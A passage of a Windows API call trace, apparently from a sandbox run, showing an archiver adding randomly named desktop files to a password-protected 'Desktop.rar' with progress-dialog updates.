lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1907f4 [0068.208] CloseHandle (hObject=0x350) returned 1 [0068.208] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.208] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.208] FindFirstFileW (in: lpFileName="r 8Z60WGh0PY-Uxk.gif", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09bf0 [0068.208] FindClose (in: hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0068.208] CreateFileW (lpFileName="r 8Z60WGh0PY-Uxk.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\r 8z60wgh0py-uxk.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.208] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.208] GetTickCount () returned 0x26f0c [0068.208] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.209] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.209] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.209] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.209] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="Q00ZHL.bmp") returned 10 [0068.209] SetWindowTextW (hWnd=0x1028c, lpString="r 8Z60WGh0PY-Uxk.gif") returned 1 [0068.209] GetTickCount () returned 0x26f0c [0068.209] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.209] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.210] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.210] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.210] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x2b6)) [0068.210] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.210] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15953834572) returned 1 [0068.210] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x18425, lpOverlapped=0x0) returned 1 [0068.211] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d91d465, nNumberOfBytesToRead=0xe7bdb, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d91d465*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.211] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.211] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.211] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.211] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa00 [0068.211] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa00, Size=0x48) returned 0x1ec0a656f10 [0068.211] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.211] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0068.211] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a656a10 [0068.211] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.211] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0068.211] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.211] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.211] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.211] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0068.211] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a657460 [0068.211] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657460, Size=0x7a) returned 0x1ec0a64a610 [0068.211] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0068.211] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0068.212] GetTickCount () returned 0x26f0c [0068.212] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15954084260) returned 1 [0068.212] GetTickCount () returned 0x26f0c [0068.212] GetTickCount () returned 0x26f0c [0068.212] GetTickCount () returned 0x26f0c [0068.212] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.212] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.212] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.212] ResetEvent (hEvent=0x344) returned 1 [0068.212] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.215] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.215] ResetEvent (hEvent=0x344) returned 1 [0068.215] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.218] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.218] ResetEvent (hEvent=0x344) returned 1 [0068.218] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.221] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.221] GetTickCount () returned 0x26f1b [0068.221] GetLastError () returned 0x0 [0068.221] SetLastError (dwErrCode=0x0) [0068.221] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0068.221] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0068.221] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.221] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.222] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15955034972) returned 1 [0068.222] GetTickCount () returned 0x26f1b [0068.222] GetTickCount () returned 0x26f1b [0068.222] GetTickCount () returned 0x26f1b [0068.222] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.222] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.222] GetFocus () returned 0x102a8 [0068.222] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.222] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0068.222] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0068.222] GetFocus () returned 0x102a8 [0068.222] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0068.223] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.223] ResetEvent (hEvent=0x33c) returned 1 [0068.223] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.224] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.224] ResetEvent (hEvent=0x33c) returned 1 [0068.224] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.225] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0068.225] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.225] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.225] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1907f4 [0068.225] SetFilePointer (in: hFile=0x32c, lDistanceToMove=104, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x19085c [0068.225] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0068.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.226] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0068.226] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0068.226] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0068.226] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x18510, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x18510, lpOverlapped=0x0) returned 1 [0068.227] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0068.227] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.227] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1640436, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1907f4 [0068.227] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1907f4 [0068.227] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.227] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.227] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a6577d0 [0068.227] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.227] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.227] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656c90 [0068.227] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.228] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.228] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa30 [0068.228] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.228] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef910 | out: hHeap=0x1ec0a590000) returned 1 [0068.228] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa30 | out: hHeap=0x1ec0a590000) returned 1 [0068.228] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefb80, Size=0x48) returned 0x1ec0a656a10 [0068.228] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a10, Size=0x7a) returned 0x1ec0a64a460 [0068.228] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a463*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a463*, lpNumberOfBytesWritten=0xe414d8140*=0x68, lpOverlapped=0x0) returned 1 [0068.228] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0068.228] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x68) returned 0x1ec0ddfdfa0 [0068.228] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0068.228] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a460 | out: hHeap=0x1ec0a590000) returned 1 [0068.228] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1a8d6c [0068.228] CloseHandle (hObject=0x350) returned 1 [0068.228] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.228] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.228] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.228] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.228] FindFirstFileW (in: lpFileName="rnJlU.swf", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09d10 [0068.228] FindClose (in: hFindFile=0x1ec0de09d10 | out: hFindFile=0x1ec0de09d10) returned 1 [0068.228] CreateFileW (lpFileName="rnJlU.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\rnjlu.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.228] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.229] GetTickCount () returned 0x26f1b [0068.229] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.229] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.229] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.229] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.229] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="r 8Z60WGh0PY-Uxk.gif") returned 20 [0068.229] SetWindowTextW (hWnd=0x1028c, lpString="rnJlU.swf") returned 1 [0068.310] GetTickCount () returned 0x26f79 [0068.310] UpdateWindow (hWnd=0x10284) returned 1 [0068.310] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 1 [0068.313] GetMessageW (in: lpMsg=0xe414dd6b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd6b0) returned 1 [0068.313] GetFocus () returned 0x102a8 [0068.314] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd6b0) returned 1 [0068.314] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.314] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.314] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.314] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x323)) [0068.314] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.314] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15964271030) returned 1 [0068.314] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x1ed8, lpOverlapped=0x0) returned 1 [0068.315] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d906f18, nNumberOfBytesToRead=0xfe128, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d906f18*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.315] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef910 [0068.315] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.315] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a6577d0 [0068.315] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0068.315] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.315] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef940, Size=0x48) returned 0x1ec0a6569c0 [0068.315] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0068.315] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0068.315] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef940 [0068.315] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0068.315] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef970 | out: hHeap=0x1ec0a590000) returned 1 [0068.315] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef940 | out: hHeap=0x1ec0a590000) returned 1 [0068.315] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef910, Size=0x48) returned 0x1ec0a656a10 [0068.315] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a10, Size=0x7a) returned 0x1ec0a64a8e0 [0068.315] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0068.315] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a8e0 | out: hHeap=0x1ec0a590000) returned 1 [0068.318] GetTickCount () returned 0x26f79 [0068.318] GetLastError () returned 0x0 [0068.318] SetLastError (dwErrCode=0x0) [0068.318] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0068.318] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0068.318] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.318] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.318] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15964711272) returned 1 [0068.319] GetTickCount () returned 0x26f79 [0068.319] GetLastError () returned 0x0 [0068.319] SetLastError (dwErrCode=0x0) [0068.319] GetDlgItem (hDlg=0x10284, nIDDlgItem=154) returned 0x10296 [0068.319] GetWindowTextW (in: hWnd=0x10296, lpString=0xe414dc190, nMaxCount=2560 | out: lpString="00:00:01") returned 8 [0068.319] SetWindowTextW (hWnd=0x10296, lpString="00:00:02") returned 1 [0068.319] GetTickCount () returned 0x26f79 [0068.319] GetDlgItem (hDlg=0x10284, nIDDlgItem=162) returned 0x10298 [0068.319] ShowWindow (hWnd=0x10298, nCmdShow=9) returned 0 [0068.320] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0068.320] ShowWindow (hWnd=0x1029a, nCmdShow=9) returned 0 [0068.321] GetLastError () returned 0x0 [0068.321] SetLastError (dwErrCode=0x0) [0068.321] GetDlgItem (hDlg=0x10284, nIDDlgItem=151) returned 0x1029a [0068.321] GetWindowTextW (in: hWnd=0x1029a, lpString=0xe414dc190, nMaxCount=2560 | out: lpString="") returned 0 [0068.322] SetWindowTextW (hWnd=0x1029a, lpString="00:00:04") returned 1 [0068.322] GetTickCount () returned 0x26f79 [0068.322] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.322] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.322] GetFocus () returned 0x102a8 [0068.322] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.322] GetPropW (hWnd=0x10284, lpString="Done") returned 0x0 [0068.322] BeginPaint (in: hWnd=0x10284, lpPaint=0xe414db880 | out: lpPaint=0xe414db880) returned 0x10105d6 [0068.322] GetLastError () returned 0x2 [0068.322] SetLastError (dwErrCode=0x2) [0068.322] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0068.323] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0068.323] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414d9b10, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.323] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.324] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414daf48 | out: ppv=0xe414daf48*=0x1ec0bfef910) returned 0x0 [0068.324] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfef910, hwnd=0x10284, tbpFlags=2) returned 0x0 [0068.324] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfef910, hwnd=0x10284, ullCompleted=0x18fa74, ullTotal=0x4f8c9e) returned 0x0 [0068.324] TaskbarList:IUnknown:Release (This=0x1ec0bfef910) returned 0x0 [0068.324] GetLastError () returned 0x36b7 [0068.324] SetLastError (dwErrCode=0x36b7) [0068.325] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0068.325] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0068.325] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414d9b10, nMaxCount=2560 | out: lpString=" 31%") returned 5 [0068.325] GetLastError () returned 0x36b7 [0068.325] SetLastError (dwErrCode=0x36b7) [0068.325] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0068.325] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414d9b10, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0068.325] SetWindowTextW (hWnd=0x102a0, lpString=" 100%") returned 1 [0068.325] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x1f, lParam=0x0) returned 0x1f [0068.326] EndPaint (hWnd=0x10284, lpPaint=0xe414db880) returned 1 [0068.326] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0068.326] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0068.326] GetFocus () returned 0x102a8 [0068.326] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0068.327] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.327] ResetEvent (hEvent=0x344) returned 1 [0068.327] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.328] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] ResetEvent (hEvent=0x344) returned 1 [0068.328] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.328] WaitForSingleObject (hHandle=0x344, 